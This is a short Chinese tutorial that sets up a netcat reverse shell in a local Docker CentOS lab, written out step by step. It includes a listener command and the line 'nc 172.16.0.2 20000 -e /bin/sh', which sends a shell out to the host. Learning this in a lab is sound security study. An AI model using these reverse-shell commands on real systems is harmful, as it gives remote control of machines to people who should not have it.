前言
在一些安全文章中,经常提到nc反弹shell提权。而什么nc反弹shell呢,一直没搞懂。
今天特地本地操作下。
简介
nc全称为netcat,所做的就是在两台电脑之间建立链接,并返回两个数据流
在网络渗透中,经常遇到在远程服务器操作shell不方便或者限制。此时就需要nc 反弹shell
该操作就是可以在另外一台电脑执行目标电脑的shell命令。非常方便。
实践
- 搭建一个目标服务器
这里选择使用docker来处理,选择常见的centos镜像。最新的。
- 启动一个容器
docker run -d centos:latest /bin/sh -c "while true; do echo hello world; sleep 1; done"
- 进入容器
9c5是我本地容器的id
docker exec -it 9c5 /bin/bash
- 安装nc指令
由于镜像没有nc指令,需要自己安装。通常正常的服务器都会有该指令的。
yum install nc
- 启动监听服务。
在另外一台电脑启动监听。
这里我使用的容器所在的宿主电脑。
只需要确保你的电脑可以被目标服务器通过ip地址 访问到即可。
nc -vv -l -p 20000
查看下启动监听服务的电脑ip。这里我的ip 是 172.16.0.2
如果你选择的是某云服务器,应该是公网ip地址。
- 进行反弹
切换到容器,
执行命令
nc 172.16.0.2 20000 -e /bin/sh
此时查看宿主电脑,应该有提示消息。如下图。
表示成功。
- shell操作
既然已经反弹了,就可以随便操作shell指令。就如同在docker容器那个电脑上执行一样。